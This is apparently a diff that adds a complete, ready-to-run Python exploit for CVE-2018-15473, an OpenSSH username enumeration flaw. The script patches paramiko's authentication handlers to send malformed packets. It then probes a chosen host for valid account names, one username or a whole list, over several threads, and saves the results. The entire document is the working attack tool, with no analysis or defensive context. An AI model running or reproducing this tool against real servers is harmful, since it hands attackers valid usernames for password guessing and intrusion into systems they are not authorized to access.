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+# Exploit: OpenSSH 7.7 - Username Enumeration
+# Author: Justin Gardner
+# Date: 2018-08-20
+# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
+# Affected Versions: OpenSSH version < 7.7
+# CVE: CVE-2018-15473
+ 
+###########################################################################
+#                ____                    _____ _____ _    _               #
+#               / __ \                  / ____/ ____| |  | |              #
+#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
+#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
+#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
+#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
+#                     | |               Username Enumeration              #
+#                     |_|                                                 #
+#                                                                         #
+###########################################################################
+ 
+#!/usr/bin/env python
+ 
+import argparse
+import logging
+import paramiko
+import multiprocessing
+import socket
+import sys
+import json
+# store function we will overwrite to malform the packet
+old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
+ 
+# create custom exception
+class BadUsername(Exception):
+    def __init__(self):
+        pass
+ 
+# create malicious "add_boolean" function to malform packet
+def add_boolean(*args, **kwargs):
+    pass
+ 
+# create function to call when username was invalid
+def call_error(*args, **kwargs):
+    raise BadUsername()
+ 
+# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
+def malform_packet(*args, **kwargs):
+    old_add_boolean = paramiko.message.Message.add_boolean
+    paramiko.message.Message.add_boolean = add_boolean
+    result  = old_parse_service_accept(*args, **kwargs)
+    #return old add_boolean function so start_client will work again
+    paramiko.message.Message.add_boolean = old_add_boolean
+    return result
+ 
+# create function to perform authentication with malformed packet and desired username
+def checkUsername(username, tried=0):
+    sock = socket.socket()
+    sock.connect((args.hostname, args.port))
+    # instantiate transport
+    transport = paramiko.transport.Transport(sock)
+    try:
+        transport.start_client()
+    except paramiko.ssh_exception.SSHException:
+        # server was likely flooded, retry up to 3 times
+        transport.close()
+        if tried < 4:
+            tried += 1
+            return checkUsername(username, tried)
+        else:
+            print '[-] Failed to negotiate SSH transport'
+    try:
+        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
+    except BadUsername:
+            return (username, False)
+    except paramiko.ssh_exception.AuthenticationException:
+            return (username, True)
+    #Successful auth(?)
+    raise Exception("There was an error. Is this the correct version of OpenSSH?")
+ 
+def exportJSON(results):
+    data = {"Valid":[], "Invalid":[]}
+    for result in results:
+        if result[1] and result[0] not in data['Valid']:
+            data['Valid'].append(result[0])
+        elif not result[1] and result[0] not in data['Invalid']:
+            data['Invalid'].append(result[0])
+    return json.dumps(data)
+ 
+def exportCSV(results):
+    final = "Username, Valid\n"
+    for result in results:
+        final += result[0]+", "+str(result[1])+"\n"
+    return final
+ 
+def exportList(results):
+    final = ""
+    for result in results:
+        if result[1]:
+            final+=result[0]+" is a valid user!\n"
+        else:
+            final+=result[0]+" is not a valid user!\n"
+    return final
+ 
+# assign functions to respective handlers
+paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
+paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
+ 
+# get rid of paramiko logging
+logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
+ 
+arg_parser = argparse.ArgumentParser()
+arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
+arg_parser.add_argument('--port', type=int, default=22, help="The target port")
+arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
+arg_parser.add_argument('--outputFile', type=str, help="The output file location")
+arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
+group = arg_parser.add_mutually_exclusive_group(required=True)
+group.add_argument('--username', type=str, help="The single username to validate")
+group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
+args = arg_parser.parse_args()
+ 
+sock = socket.socket()
+try:
+    sock.connect((args.hostname, args.port))
+    sock.close()
+except socket.error:
+    print '[-] Connecting to host failed. Please check the specified host and port.'
+    sys.exit(1)
+ 
+if args.username: #single username passed in
+    result = checkUsername(args.username)
+    if result[1]:
+        print result[0]+" is a valid user!"
+    else:
+        print result[0]+" is not a valid user!"
+elif args.userList: #username list passed in
+    try:
+        f = open(args.userList)
+    except IOError:
+        print "[-] File doesn't exist or is unreadable."
+        sys.exit(3)
+    usernames = map(str.strip, f.readlines())
+    f.close()
+    # map usernames to their respective threads
+    pool = multiprocessing.Pool(args.threads)
+    results = pool.map(checkUsername, usernames)
+    try:
+        outputFile = open(args.outputFile, "w")
+    except IOError:
+        print "[-] Cannot write to outputFile."
+        sys.exit(5)
+    if args.outputFormat=='list':
+        outputFile.writelines(exportList(results))
+        print "[+] Results successfully written to " + args.outputFile + " in List form."
+    elif args.outputFormat=='json':
+        outputFile.writelines(exportJSON(results))
+        print "[+] Results successfully written to " + args.outputFile + " in JSON form."
+    elif args.outputFormat=='csv':
+        outputFile.writelines(exportCSV(results))
+        print "[+] Results successfully written to " + args.outputFile + " in CSV form."
+    else:
+        print "".join(results)
+    outputFile.close()
+else: # no usernames passed in
+    print "[-] No usernames provided to check"
+    sys.exit(4)
+